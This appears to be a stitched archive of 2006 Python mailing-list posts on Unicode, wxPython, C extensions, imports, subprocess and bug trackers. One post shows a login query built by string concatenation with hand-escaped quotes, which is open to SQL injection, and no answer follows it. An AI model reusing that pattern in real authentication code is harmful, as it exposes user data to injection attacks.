	<mailman.580.1161021410.11739.python-list@python.org>
	<1161021960.792970.238240@m73g2000cwd.googlegroups.com>
	<mailman.584.1161023364.11739.python-list@python.org>
Message-ID: <1161025636.641534.282290@f16g2000cwb.googlegroups.com>


Fredrik Lundh wrote:
> rurpy at yahoo.com wrote:
>
> > Then perhaps you or he could explain it to us less intelligent
> > people in very simple terms?
>
> the security advisory explains that the cause of the problem is a bug
> in the source code used to implement repr() for 32-bit Unicode strings,
> on all Python versions from 2.2 and onwards.
>
> Python 2.2 was released in 2001.

I admit I am totally flmmexed by your answer.
What does when the bug was introduced have to do with
anything?  It is present in contemporary versions of Python.
It "can lead to execution of arbitrary code".  It is important
enough to drive an "emergency" (my term) bug fix python
release.

It seems to have been disscussed publically starting around
Oct 6 or 7 (I didn't do a though search so this may be wrong.)
It was fixed in Python 2.5 so either it was treated as a
ordinary bug with unrecognised security implications,
or the developers were aware of the security issues and
sat on them.

Regardless, I don't see anything in the advisory that either
makes it an unimportant issue, or makes clearly unrelated
to the starship.python.net compromise.

So could you please try to explain again in even simpler 
terms?



From hanumizzle at gmail.com  Wed Oct 11 02:06:07 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Wed, 11 Oct 2006 02:06:07 -0400
Subject: How to find number of characters in a unicode string?
In-Reply-To: <1160545821.830285.42650@b28g2000cwb.googlegroups.com>
References: <20060918221814.08625ea2.randhol+valid_for_reply_from_news@pvv.org>
	<pan.2006.09.18.20.29.20.510034@gmx.net>
	<efija1$357$1@lust.ihug.co.nz>
	<1160545821.830285.42650@b28g2000cwb.googlegroups.com>
Message-ID: <463ff4860610102306n4cfeb58cq76da46acebf9da30@mail.gmail.com>

On 10 Oct 2006 22:50:21 -0700, Leo Kislov <Leo.Kislov at gmail.com> wrote:

> If python ever provide this functionality it would be I guess
> u"C\u0327".width() == 1. But it's not clear when unicode.org will
> provide recommended fixed font character width information for *all*
> characters. I recently stumbled upon Tamil language, where for example
> u'\u0b95\u0bcd', u'\u0b95\u0bbe', u'\u0b95\u0bca', u'\u0b95\u0bcc'
> looks like they have width 1,2,3 and 4 columns. To add insult to injury
> these 4 symbols are all considered *single* letter symbols :) If your
> email reader is able to show them, here they are in all their glory:
> ??, ??, ??, ??.

Letters? Not as such. They are, however, single syllabic units; Tamil,
like other Indic scripts, is an alphasyllabary.

I believe the syllables or sounds thus encoded are k (with nothing
after), kaa, ko, and kau.

Seamonkey is being a jerk and not rendering the glyphs properly... :?

-- Theerasak

From jcarlson at uci.edu  Tue Oct 24 23:11:05 2006
From: jcarlson at uci.edu (Josiah Carlson)
Date: Tue, 24 Oct 2006 20:11:05 -0700
Subject: [wxPython-users] Re:
In-Reply-To: <7.0.1.0.0.20061024234603.042e0058@yahoo.com.ar>
References: <20061025022516.94464.qmail@web88305.mail.re4.yahoo.com>
	<7.0.1.0.0.20061024234603.042e0058@yahoo.com.ar>
Message-ID: <20061024200724.0AA7.JCARLSON@uci.edu>


Gabriel Genellina <gagsl-py at yahoo.com.ar> wrote:
> At Tuesday 24/10/2006 23:25, Michael S wrote:
> 
> >I extended part of my program in C, since that part
> >was too involved for Python. Now when I import the
> >module I created and call its functions, I am trying
> >to feedback some information bac to my wxPython
> >program. The function runs for a while and I wanted to
> >update a progress bar, but when I call the function of
> >my new module, wxPython doesn't respond when wx.Timer
> >is supposed to fire.
> 
> Does your extension run on a separate thread? I guess not. So the 
> wxPython code does not have a chance to run.
> Do it the other way: from your C code, call a Python function which 
> in turn updates the progress bar (and keep it simple!)

Unless the GUI thread has a chance to take passes through the wxPython
mainloop, the progress bar, etc., may not actually be updated on some
platforms.

Mr. Sherman would likely be better off creating a new thread which
handles processing, which could update a C global variable, which the
GUI thread can poll to update its progress bar, etc.  Alternatively, if
the processing can be broken down into smaller pieces, the secondary
thread can call the pieces and post events back to the GUI thread to
update the progress bar (via explicit wx.PostEvent or implicit
wx.CallAfter).


 - Josiah



From steve at holdenweb.com  Sat Oct  7 05:49:25 2006
From: steve at holdenweb.com (Steve Holden)
Date: Sat, 07 Oct 2006 10:49:25 +0100
Subject: Python to use a non open source bug tracker?
In-Reply-To: <H_IVg.138311$zy5.1854132@twister1.libero.it>
References: <22pUg.132825$zy5.1820633@twister1.libero.it><7xk63h232z.fsf@ruckus.brouhaha.com>	<eftfoe$l8n$1@sea.gmane.org><mailman.1155.1159876666.10491.python-list@python.org><mailman.1163.1159879479.10491.python-list@python.org><fxJUg.134222$zy5.1829414@twister1.libero.it><ue6dnQBgEPPCMr7YnZ2dnUVZ_rqdnZ2d@speakeasy.net><eg0bo2$obu$1@nnrp.ngi.it>	<45240FD5.3050705@v.loewis.de><4n4Vg.135913$_J1.898276@twister2.libero.it><f4rfv3-vhg.ln1@nb2.stroeder.com>	<45254B18.2090806@v.loewis.de><mailman.1379.1160075929.10491.python-list@python.org><YzoVg.137036$zy5.1843214@twister1.libero.it><7x3ba1ltvj.fsf@ruckus.brouhaha.com>	<mailman.1457.1160140815.10491.python-list@python.org>
	<H_IVg.138311$zy5.1854132@twister1.libero.it>
Message-ID: <eg7t5f$jls$2@sea.gmane.org>

Giovanni Bajo wrote:
[...]
> 
> I understand your concerns, but I have to remember you that most bug reports
> submitted by users go totally ignored for several years, or, better, forever. I
> do not have a correct statistic for this, but I'm confident that at least 80%
> of the RFE or patches filed every week is totally ignored, and probably at
> least 50% of the bugs too. I think there is a much bigger problem here wrt QOS.
> 
> So, you might prefer 6-10 people to activate a new tracker account faster than
> light. I'd rather have 3-days delay in administrative issues because our single
> administrator is sleeping or whatever, and then have 2-3 people doing regular
> bug processing.

... and if wishes were horses then beggars would ride.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From Kiran.Karra at gmail.com  Thu Oct 26 08:55:25 2006
From: Kiran.Karra at gmail.com (Kiran)
Date: 26 Oct 2006 05:55:25 -0700
Subject: return tuple from C to python (extending python)
In-Reply-To: <DRx%g.171$yy2.140@newsfe11.phx>
References: <1161728694.741915.170890@m7g2000cwm.googlegroups.com>
	<1161731656.218584.21470@m7g2000cwm.googlegroups.com>
	<DRx%g.171$yy2.140@newsfe11.phx>
Message-ID: <1161867325.445213.86190@m7g2000cwm.googlegroups.com>


Farshid Lashkari wrote:
> Simon Forman wrote:
> > I have not done a great deal of extension work with python, however, I
> > do not believe you can simply cast an int (or pointer to int, which is
> > what you say dat is declared as, unless my C is /really/ rusty) to
> > PyObject*.
> >
> > I think you need to do something like Py_BuildValue("i", 123), but see
> > http://docs.python.org/ext/buildValue.html for more info.
>
> Simon is correct. You need to create a python object from your unsigned
> int. Try the following instead:
>
> PyTuple_SET_ITEM(toRet, i, PyInt_FromLong(dat[i]) );
> 
> -Farshid

That did the trick.  thanks guys both for your help!



From johnjsal at NOSPAMgmail.com  Wed Oct  4 13:09:46 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Wed, 04 Oct 2006 17:09:46 GMT
Subject: can't open chm files all of a sudden
In-Reply-To: <mailman.1278.1159978887.10491.python-list@python.org>
References: <45233927$0$1761$c3e8da3@news.astraweb.com>	<45233a81$0$30748$c3e8da3@news.astraweb.com>
	<mailman.1278.1159978887.10491.python-list@python.org>
Message-ID: <uVRUg.63$1n3.778@news.tufts.edu>

Gabriel Genellina wrote:
> At Wednesday 4/10/2006 01:32, John Salerno wrote:
> 
>> > I tried opening my Python chm docs just now, as well as the one for
>> > wxPython, and both are giving me an error dialog when I double-click
>> > them and I can't open them. This happened apparently for no reason, 
>> just
>> > today. I even reset but that didn't help.
>> AppName: hh.exe AppVer: 5.2.3790.2453   ModName: itss.dll
>> ModVer: 5.2.3790.2453   Offset: 00006bec
> 
> Try this: <http://support.microsoft.com/kb/275539/en-us>

I don't know if this is my problem, but maybe I can find more on this site.


From pretoriano_2001 at hotmail.com  Wed Oct 25 10:00:03 2006
From: pretoriano_2001 at hotmail.com (pretoriano_2001 at hotmail.com)
Date: 25 Oct 2006 07:00:03 -0700
Subject: Want to reduce steps of an operation with dictionaries
In-Reply-To: <mailman.1139.1161749525.11739.python-list@python.org>
References: <1161736179.467075.307030@m73g2000cwd.googlegroups.com>
	<mailman.1139.1161749525.11739.python-list@python.org>
Message-ID: <1161784803.462237.37790@i3g2000cwc.googlegroups.com>

Mike:
Many thanks for your solution. It looks really nice.



Mike Erickson wrote:
> * pretoriano_2001 at hotmail.com (pretoriano_2001 at hotmail.com) wrote:
> > Hello:
> > I have next dictionaries:
> > a={'a':0, 'b':1, 'c':2, 'd':3}
> > b={'a':0, 'c':1, 'd':2, 'e':3}
> > I want to put in a new dictionary named c all the keys that are in b
> > and re-sequence the values. The result I want is:
> > c={'a':0, 'c':1, 'd':2}
> > How can I do this with one line of instruction?
> >
> > I attempted the next but the output is not the expected:
> > c=dict([(k,v) for v,k in enumerate(a) if b.has_key(k)])
> > erroneously (for me) gets:
> > {'a': 0, 'c': 2, 'd': 3}
>
> I am not 100% I understand your questions, but k,v are being pulled from
> a, try:
>
> c=dict([(k,b[k]) for v,k in enumerate(a) if b.has_key(k)])
> 
> mike



From ptmcg at austin.rr._bogus_.com  Tue Oct 31 09:20:35 2006
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Tue, 31 Oct 2006 14:20:35 GMT
Subject: 3d programming without opengl
References: <mailman.1526.1162280594.11739.python-list@python.org><iHD1h.25601$GR2.12249@tornado.texas.rr.com><ABE1h.25602$GR2.24371@tornado.texas.rr.com>
	<mailman.1538.1162294645.11739.python-list@python.org>
Message-ID: <TYI1h.25622$GR2.17287@tornado.texas.rr.com>

"nelson -" <nelson1977 at gmail.com> wrote in message 
news:mailman.1538.1162294645.11739.python-list at python.org...
> Hi paul,
> i look at slut and it seem very good... Can i embed it into a
> wxpython application?
>
> thanks,
> nelson

I've no earthly idea, nelson, sorry.  The sphere program is the extent of my 
slut experience (for which my wife is quite grateful!).  I think the slut 
website mentions a mailing list, that should be able to answer your 
technical questions.

Good luck!
-- Paul




From johnjsal at NOSPAMgmail.com  Thu Oct 26 14:09:37 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Thu, 26 Oct 2006 18:09:37 GMT
Subject: which one of these is better?
Message-ID: <BR60h.167$1n3.4240@news.tufts.edu>

     def create_sql_script(self):
         try:
             with open('labtables.sql') as sql_script:
                 return sql_script.read()
         except IOError:
             wx.MessageBox('Could not locate the file "labtables.sql"',
                           'File Not Found')


OR


     def create_sql_script(self):
         try:
             f = open('labtables.sql')
             sql_script = f.read()
         except IOError:
             wx.MessageBox('Could not locate the file "labtables.sql"',
                           'File Not Found')
         finally:
             f.close()



Do they both do the same thing?


From holly.woodland at gmail.com  Tue Oct 17 19:05:40 2006
From: holly.woodland at gmail.com (holly.woodland at gmail.com)
Date: 17 Oct 2006 16:05:40 -0700
Subject: Python wrapper for C++ core
Message-ID: <1161126339.893795.254110@i3g2000cwc.googlegroups.com>

Hi All

Apologies in advance for the pretty basic question - but I can't seem
to find an answer anywhere else.

I am developing a fluid sim in C++ and have heard that many people use
Python in conjunction with C++ for this sort of thing (especially in
games dev).

What I can't understand why you would want to do this. Obviously the
core would be written in C++ (for my purposes anyway) so what parts
would be written in Python? What is the benefit, in this situation, of
using Python instead of C++?

thanks for your help

Holly



From __peter__ at web.de  Mon Oct  9 03:46:58 2006
From: __peter__ at web.de (Peter Otten)
Date: Mon, 09 Oct 2006 09:46:58 +0200
Subject: can compile function have a bug?
References: <1160274901.447221.45720@e3g2000cwe.googlegroups.com>
Message-ID: <egcult$391$03$1@news.t-online.com>

ygao wrote:

>>>> compile('U"?"','c:/test','single')
> <code object ? at 00F06B60, file "c:/test", line 1>
>>>> d=compile('U"?"','c:/test','single')
>>>> d
> <code object ? at 00F06BA0, file "c:/test", line 1>
>>>> exec(d)
> u'\xd6\xd0'
>>>> U"?"
> u'\u4e2d'
>>>>
> 
> why is the result different?
> a bug or another reason?

How that particular output came to be I don't know, but you should be able
to avoid the confusion by either passing a unicode string to compile() or
specifying the encoding:

>>> exec compile(u'u"?"','c:/test','single')
u'\u4e2d'
>>> exec compile('# -*- coding: utf8 -*-\nu"?"','c:/test','single')
u'\u4e2d'

Peter

PS: In and all-UTF-8 environment I would have /expected/ to see

>>> your_encoding = "utf8"
>>> identity = "latin1"
>>> u'\u4e2d'.encode(your_encoding).decode(identity)
u'\xe4\xb8\xad'

and that's indeed what I get over here:

>>> exec compile('u"?"','c:/test','single')
u'\xe4\xb8\xad'




From bignose+hates-spam at benfinney.id.au  Tue Oct  3 09:45:48 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Tue, 03 Oct 2006 23:45:48 +1000
Subject: Newbie question: python doesn't search the cwd for my module
References: <20061003132108.5834.qmail@web50903.mail.yahoo.com>
Message-ID: <87odstikc3.fsf@benfinney.id.au>

izak marais <izakmarais at yahoo.com> writes:

> I want to import a module I wrote to use it in a script. But, it is
> not in the same directory as the script I want to import it into.

I can think of two sensible solutions.

One is to change the 'sys.path' list to include the directory where
you want Python to look for your module. This has the advantage that
it will work on all current versions of Python. It has the
disadvantage that modules with the same name in different directories
are not easy to differentiate.

    import sys
    sys.path.append("/path/to/the/directory")
    import spam

The other way is to use absolute imports to be specific about where
the module should be imported from. This has the advantage that at
most one module will match the requested name for a given import. It
has the disadvantage of being a fairly new feature, introduced in
Python 2.5.

    from __future__ import absolute_import
    from ...path.to.the.directory import spam

See here for more information on absolute imports:

    <URL:http://docs.python.org/whatsnew/pep-328.html>
    <URL:http://www.python.org/peps/pep-0328.html>

-- 
 \       "I believe in making the world safe for our children, but not |
  `\    our children's children, because I don't think children should |
_o__)                                  be having sex."  -- Jack Handey |
Ben Finney



From misterwang at gmail.com  Thu Oct 12 20:32:14 2006
From: misterwang at gmail.com (Peter  Wang)
Date: 12 Oct 2006 17:32:14 -0700
Subject: Python component model
In-Reply-To: <1160538736.856864.175990@i42g2000cwa.googlegroups.com>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<mailman.130.1160418618.11739.python-list@python.org>
	<HwxWg.5035$Lv3.2259@newsread1.news.pas.earthlink.net>
	<mailman.141.1160429886.11739.python-list@python.org>
	<1VzWg.7212$Y24.1666@newsread4.news.pas.earthlink.net>
	<mailman.163.1160452251.11739.python-list@python.org>
	<1160538736.856864.175990@i42g2000cwa.googlegroups.com>
Message-ID: <1160699534.615400.115130@i42g2000cwa.googlegroups.com>

Ilias Lazaridis wrote:
> looks interesting.

Thanks!

> what about persistency?

Um... what about it?



From fredrik at pythonware.com  Thu Oct 26 11:24:08 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 26 Oct 2006 17:24:08 +0200
Subject: subprocess-how to suppress the stdout
In-Reply-To: <L4OdnRaCStg6NN3YnZ2dnUVZ_vCdnZ2d@comcast.com>
References: <gKKdnUgiTN9ePt3YnZ2dnUVZ_o6dnZ2d@comcast.com>	<mailman.1269.1161865123.11739.python-list@python.org>
	<L4OdnRaCStg6NN3YnZ2dnUVZ_vCdnZ2d@comcast.com>
Message-ID: <ehqjun$904$1@sea.gmane.org>

alf wrote:

>> /dev/null is your friend:
>>
>>     Popen(..., stdout=open("/dev/null", "w"), stderr=subprocess.STDOUT, ...)
>>
> 
> I am forced to use win32 :-( plus it needs to be platform independent ...

alright, os.devnull is your friend:

  Popen(..., stdout=open(os.devnull, "w"), stderr=subprocess.STDOUT, ...)

</F>



From johnzenger at gmail.com  Fri Oct 20 15:36:43 2006
From: johnzenger at gmail.com (johnzenger at gmail.com)
Date: 20 Oct 2006 12:36:43 -0700
Subject: why does this unpacking work
In-Reply-To: <Qe9_g.129$1n3.3113@news.tufts.edu>
References: <Qe9_g.129$1n3.3113@news.tufts.edu>
Message-ID: <1161373003.141096.277510@i42g2000cwa.googlegroups.com>

It's just sequence unpacking.  Did you know that this works?:

pair = ("California","San Francisco")
state, city = pair
print city
# 'San Francisco'
print state
# 'California'

John Salerno wrote:
> I'm a little confused, but I'm sure this is something trivial. I'm
> confused about why this works:
>
>  >>> t = (('hello', 'goodbye'),
>       ('more', 'less'),
>       ('something', 'nothing'),
>       ('good', 'bad'))
>  >>> t
> (('hello', 'goodbye'), ('more', 'less'), ('something', 'nothing'),
> ('good', 'bad'))
>  >>> for x in t:
> 	print x
>
>
> ('hello', 'goodbye')
> ('more', 'less')
> ('something', 'nothing')
> ('good', 'bad')
>  >>> for x,y in t:
> 	print x,y
>
>
> hello goodbye
> more less
> something nothing
> good bad
>  >>>
>
> I understand that t returns a single tuple that contains other tuples.
> Then 'for x in t' returns the nested tuples themselves.
>
> But what I don't understand is why you can use 'for x,y in t' when t
> really only returns one thing. I see that this works, but I can't quite
> conceptualize how. I thought 'for x,y in t' would only work if t
> returned a two-tuple, which it doesn't.
>
> What seems to be happening is that 'for x,y in t' is acting like:
>
> for x in t:
>      for y,z in x:
>          #then it does it correctly
>
> But if so, why is this? It doesn't seem like very intuitive behavior.
> 
> Thanks.



From toreriks at hotmail.com  Tue Oct 24 03:43:43 2006
From: toreriks at hotmail.com (Tor Erik Soenvisen)
Date: Tue, 24 Oct 2006 07:43:43 +0000 (UTC)
Subject: Protecting against SQL injection
Message-ID: <Xns986662F736DD5toreriknpolarno@129.242.5.222>

Hi,

How safe is the following code against SQL injection:

        # Get user privilege
        digest = sha.new(pw).hexdigest()
        # Protect against SQL injection by escaping quotes
        uname = uname.replace("'", "''")
        sql = 'SELECT privilege FROM staff WHERE ' + \
              'username=\'%s\' AND password=\'%s\'' % (uname, digest)
        res = self.oraDB.query(sql)

pw is the supplied password abd uname is the supplied password.

regards


From tejovathi.p at gmail.com  Tue Oct 17 05:07:09 2006
From: tejovathi.p at gmail.com (Teja)
Date: 17 Oct 2006 02:07:09 -0700
Subject: COM Error -- Urgent help
In-Reply-To: <Ut0Zg.8114$Lv3.7352@newsread1.news.pas.earthlink.net>
References: <1161060922.492588.250930@f16g2000cwb.googlegroups.com>
	<45347682$0$25906$ba4acef3@news.orange.fr>
	<1161070831.102884.37930@e3g2000cwe.googlegroups.com>
	<mailman.619.1161071484.11739.python-list@python.org>
	<1161071939.165951.221510@i42g2000cwa.googlegroups.com>
	<Ut0Zg.8114$Lv3.7352@newsread1.news.pas.earthlink.net>
Message-ID: <1161076029.101436.3850@e3g2000cwe.googlegroups.com>


Dennis Lee Bieber wrote:
> On 17 Oct 2006 00:58:59 -0700, "Teja" <tejovathi.p at gmail.com> declaimed
> the following in comp.lang.python:
>
> >        thread.start_new_thread(self.nav, (s,'www.google.com')
> >
> > I am getting an attribute error
>
> 	That can not be the REAL code... I'd expect a syntax error... You
> have mismatched parens on that line!
> --
> 	Wulfraed	Dennis Lee Bieber		KD6MOG
> 	wlfraed at ix.netcom.com		wulfraed at bestiaria.com
> 		HTTP://wlfraed.home.netcom.com/
> 	(Bestiaria Support Staff:		web-asst at bestiaria.com)
> 		HTTP://www.bestiaria.com/

Hi,

Ya its a copy paste error... But can u please let me know what is the
reason for attribute error and how to rectify it??

Thnks, 
Regards
Teja.P



From jcoleman at franciscan.edu  Thu Oct 26 06:58:25 2006
From: jcoleman at franciscan.edu (John Coleman)
Date: 26 Oct 2006 03:58:25 -0700
Subject: question about True values
In-Reply-To: <donn-4380C3.15593125102006@gnus01.u.washington.edu>
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<7x4ptsi544.fsf@ruckus.brouhaha.com>
	<1161803802.110116.127470@m7g2000cwm.googlegroups.com>
	<7xvem8gq22.fsf@ruckus.brouhaha.com>
	<1161804934.010376.151330@f16g2000cwb.googlegroups.com>
	<453FD3AF.4040800@v.loewis.de>
	<1161812827.596356.316450@f16g2000cwb.googlegroups.com>
	<donn-4380C3.15593125102006@gnus01.u.washington.edu>
Message-ID: <1161860305.348329.283780@m73g2000cwd.googlegroups.com>


Donn Cave wrote:
> In article <1161812827.596356.316450 at f16g2000cwb.googlegroups.com>,
>  "John Coleman" <jcoleman at franciscan.edu> wrote:
>
> > Very good point, though one could argue perhaps that when one is
> > comparing an object with a truth value then one is implicitly asking
> > for the truth value of that object
>
> On the contrary -- since there is normally no need to ever
> compare an object with a truth value, then I would interpret
> this usage as an attempt to distinguish True or False from
> other objects in general.  Some kind of placeholders for
> missing values, who knows.  I'm not saying it's a great idea,
> but it could work in recent versions of Python.
>
> > This would make code like 'if s: ' equivalent
> > to 'if s == True:' with a possible gain in readability. But - as you
> > demonstrate the cost of that (minimal) gain in readability would be too
> > high. In any event - I think it is mostly bad style to use a
> > non-boolean variable in 'if s:' - it reminds me too much of obscure C
> > code (though others might disagree).
>
> Others will indeed disagree.  I don't think you'll find
> much support for this position.  But it's not as bad as
> your notion that "if s == True", where s is not a boolean
> object, might represent a gain in readability.  That really
> redefines readability.
>
>    Donn Cave, donn at u.washington.edu

As far as readability goes - most computer languages have a surface
syntax which is (by design) vaguely similiar to the syntax of a natural
language like English. Thus statements roughly correspond to sentences.
For example, you can see a subject-verb-object pattern in "x=3". Given
a genuinely boolean construct like x < 2, "if x < 2:" *sounds* right to
a human reader. Similarly, given a good boolean variable with a
descriptive name like "found", the fragment "if found:" sounds ok. But
- given a non-boolean variable like "product_name" -  writing "if
product_name:" sounds (to my ears) a little jarring - it sounds like a
sentence fragment. It's like saying "If Bob" - If Bob *what*? Goes to
the store? answers the telephone? Finish the damn thought! Now, if you
were to (from some strange reason) use "product_name" as if it were a
truth value then (to my ears) it would both make your intentions more
clear and sound less fragmentary if you could say "if product_name ==
True:". When you use "product_name" as the condition of an if statement
then in that context it is *functioning* as a truth value so (naively)
what could be wrong with comparing it to a truth value? I don't
advocate any change in Python here - just pointing out that the idea of
allowing "if s:" and "if s == True:" to be always equivalent in the
interest of readability isn't *that* strange. It doesn't constitute a
redefinition of readability.

As far as using non-booleans as conditions - I just think that if you
want a certain block of code to be executed only if, for example, a
list is non-empty, why not *say* so? I think "if my_list != []:" just
reads better than "if my_list:". I would think that my preferences
there mesh with "Explicit is better than implicit" but apparently not.

I'm just starting out with Python with most of my programming in recent
years being in various dialects of Visual Basic (which probably
explains a lot). What attracts me to Python so far is the cool slice
operations, the iterators, the libraries and the convience of
programming in a REPL environment. So far, the ability to use "cat" as
a part-time substitute for True just strikes me as a curiousity - but
maybe that will change with time.

-John Coleman



From fredrik at pythonware.com  Wed Oct  4 17:22:11 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 04 Oct 2006 23:22:11 +0200
Subject: Python to use a non open source bug tracker?
In-Reply-To: <eg0cu8$qtt$1@sea.gmane.org>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>	<2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net><tCJUg.134232$zy5.1829450@twister1.libero.it>	<eg0899$9g5$1@sea.gmane.org>	<eg09i9$eod$1@sea.gmane.org>
	<eg0cu8$qtt$1@sea.gmane.org>
Message-ID: <eg18m3$833$1@sea.gmane.org>

Steve Holden wrote:

>> you're not on the infrastructure list, I hear.  python.org could still need a
>> few more roundup volunteers, but it's not like nobody's prepared to con-
>> tribute manhours.  don't underestimate the community.
>>
> No, I'm not on the infrastructure list, but I know that capable people 
> *are*: and you know I am quite capable of donating my time to the cause, 
> when I have it to spare (and sometimes even when I don't).

what I was trying to say (between the lines) was that not only have
the people on that list worked hard to do the evaluation (not to mention 
all the developers around the world that has worked even harder to set 
up test trackers), there's also been a good community response to the 
committee's call for "6-10 volunteers".

</F>



From p at ulmcnett.com  Mon Oct 30 22:34:52 2006
From: p at ulmcnett.com (Paul McNett)
Date: Mon, 30 Oct 2006 19:34:52 -0800
Subject: Serious wxPython Error while executing..
In-Reply-To: <1162251958.974767.160970@k70g2000cwa.googlegroups.com>
References: <1162251958.974767.160970@k70g2000cwa.googlegroups.com>
Message-ID: <4546C45C.4050908@ulmcnett.com>

kath wrote:
> Hello, sorry about the lengthy message.
> 
>  I finding difficult to execute this program. The wx.Notebook i created
> is coming on the splitted frame(self.p2). How do I that. I am started
> to learn wxPython, and when I run the code, the code doesnot close
> gracefully, it throughs me an error.
> 
> "pythonw.exe has encountered a problem and needs to close.  We are
> sorry for the inconvenience"

I get a segmentation fault on Linux, after running the script, choosing
"Add new fund" from the menu, and then closing the application. I don't
get the segmentation fault if I merely start the app and close it.

> here is the code.... seems a bit lengthy, sorry about that.
> Please help me to find my mistake, and how do I go forward resolving
> this problem.

You actually have several problems. But, the segmentation fault appears
to be directly related to the fact that you add boxsizer to the border
sizer twice.

Another problem is that you create the notebook every single time, and
add just one page to it, but you probably want just one notebook with
one or more pages.

-- 
pkm ~ http://paulmcnett.com




From sjmachin at lexicon.net  Tue Oct 10 17:59:12 2006
From: sjmachin at lexicon.net (John Machin)
Date: 10 Oct 2006 14:59:12 -0700
Subject: Adding Worksheets to an Excel Workbook
References: <1160514523.693496.223630@e3g2000cwe.googlegroups.com>
Message-ID: <1160517552.328403.317150@b28g2000cwb.googlegroups.com>

e.h.doxtator at accenture.com wrote:
> All
>
> I'm a Python newbie, and I'm just getting to the wonders of COM
> programming.  I am trying to programmatically do the following:
>
> 1.  Activate Excel
> 2.  Add a Workbook
> 3.  Add a Worksheet
> 4.  Populate the new Worksheet
> 5.  Repeat steps 3,4 while there is data.
>
> How do you add a Worksheet to a Workbook?

To find out how to do things, you can:

(1) use the VBA help in Excel.

You would find (eventually):
"""
Add method as it applies to the Sheets and Worksheets objects.

Creates a new worksheet, chart, or macro sheet. The new worksheet
becomes the active sheet.

expression.Add(Before, After, Count, Type)
expression    Required. An expression that returns one of the above
objects.

Before   Optional Variant. An object that specifies the sheet before
which the new sheet is added.

After   Optional Variant. An object that specifies the sheet after
which the new sheet is added.

Count   Optional Variant. The number of sheets to be added. The default
value is one.

Type   Optional Variant. Specifies the sheet type. Can be one of the
following XlSheetType constants: xlWorksheet, xlChart,
xlExcel4MacroSheet, or xlExcel4IntlMacroSheet. If you are inserting a
sheet based on an existing template, specify the path to the template.
The default value is xlWorksheet.

Remarks
If Before and After are both omitted, the new sheet is inserted before
the active sheet.
"""
so,
    your_handle.Worksheets.Add()
looks like what you need.

(2) Again in Excel, use the "record a macro" facility: turn on
recording, do your thing, stop recording, inspect the generated macro.

In this case, this gave
    Sheets.Add
which you translate to
    your_handle.Sheets.Add()

What's the difference between Sheets and Worksheets? I dunno. Try both.
Look in the Excel VBA help.

HTH,
John



From scott.daniels at acm.org  Thu Oct 12 15:56:34 2006
From: scott.daniels at acm.org (Scott David Daniels)
Date: Thu, 12 Oct 2006 12:56:34 -0700
Subject: prefix search on a large file
In-Reply-To: <mailman.393.1160681338.11739.python-list@python.org>
References: <mailman.365.1160642731.11739.python-list@python.org>	<1160647737.312386.37800@c28g2000cwb.googlegroups.com>	<a23effaf0610120713x58d055dem1b7deefec3b50515@mail.gmail.com>	<mailman.386.1160667922.11739.python-list@python.org>	<452e8cf5$1@nntp0.pdx.net>
	<mailman.393.1160681338.11739.python-list@python.org>
Message-ID: <452e95c6$1@nntp0.pdx.net>

Tim Chase wrote:
>>      def leaders(sorted_list):
>>          held = None
>>          for phrase in held:
> ... I suspect you mean
>     for phrase in sorted_list:
> no?

Ooops -- renaming code before posting should get its own test.
You are absolutely correct.


--Scott David Daniels
scott.daniels at acm.org


From noamsml at gmail.com  Fri Oct 27 18:48:18 2006
From: noamsml at gmail.com (noamsml at gmail.com)
Date: 27 Oct 2006 15:48:18 -0700
Subject: What is the cleanest way to for a module to access objects from
	the script that imports it?
In-Reply-To: <mailman.1378.1161988147.11739.python-list@python.org>
References: <1161986024.956989.218370@i42g2000cwa.googlegroups.com>
	<mailman.1378.1161988147.11739.python-list@python.org>
Message-ID: <1161989298.748298.143190@e3g2000cwe.googlegroups.com>

Wouldn't importing and re-importing the same modules cause considerable
resource bulk? Or does python cache that stuff?

On Oct 27, 6:28 pm, Gabriel Genellina <gagsl... at yahoo.com.ar> wrote:
> At Friday 27/10/2006 18:53, noam... at gmail.com wrote:
>
> >I am new to python and am currently writing my first application. One
> >of the problems I quickly ran into, however, is that python's imports
> >are very different from php/C++ includes in the sense that they
> >completely wrap the imported script in a module object. One of the
> >problems with this was that a plugin system that I am making requires
> >use of objects, classes and the such from the original script. Thus, on
> >one hand, I am hesitant to use execfile(), since I *do* want to wrap
> >the plugin up, but on the other hand, I want the plugin to be able to
> >use functions from the original script. Any ideas?Put the bulk of your "original script" into modules so they are
> easily importable from inside the plugins.
> In your application, you can scan the available plugins (using
> os.listdir by example) and import them.
> (Of course this is risky so you must trust the plugin developers...)
>
> --
> Gabriel Genellina
> Softlab SRL
>
> __________________________________________________
> Correo Yahoo!
> Espacio para todos tus mensajes, antivirus y antispam ?gratis!
> ?Abr? tu cuenta ya! -http://correo.yahoo.com.ar



From usenet-2004 at lithe.de  Sun Oct  1 09:14:43 2006
From: usenet-2004 at lithe.de (Jan Niklas Fingerle)
Date: 01 Oct 2006 13:14:43 GMT
Subject: "Wiki in 10 minutes"
References: <mailman.1015.1159652783.10491.python-list@python.org>
Message-ID: <451fbf43$0$26959$9b4e6d93@newsspool4.arcor-online.net>

Michiel Sikma <michiel at thingmajig.org> wrote:
> lost my bookmarks. I once bookmarked this video tutorial which  
> allegedly showed how to make a wiki in 10 minutes with some Python  
> network framework. Does anybody know which one it might have been?  

If you add another ten minutes, this would be http://www.turbogears.org/

Cheers,
  --Jan Niklas


From hhygen at fjerndette.start.no  Fri Oct 20 03:33:15 2006
From: hhygen at fjerndette.start.no (Hans Olav Hygen)
Date: Fri, 20 Oct 2006 09:33:15 +0200
Subject: Downloading images with python
Message-ID: <op.thplxpimwt8ats@tko2353.windows.dnmi.no>

On 23. of October last year a the follwing was posted to this group:

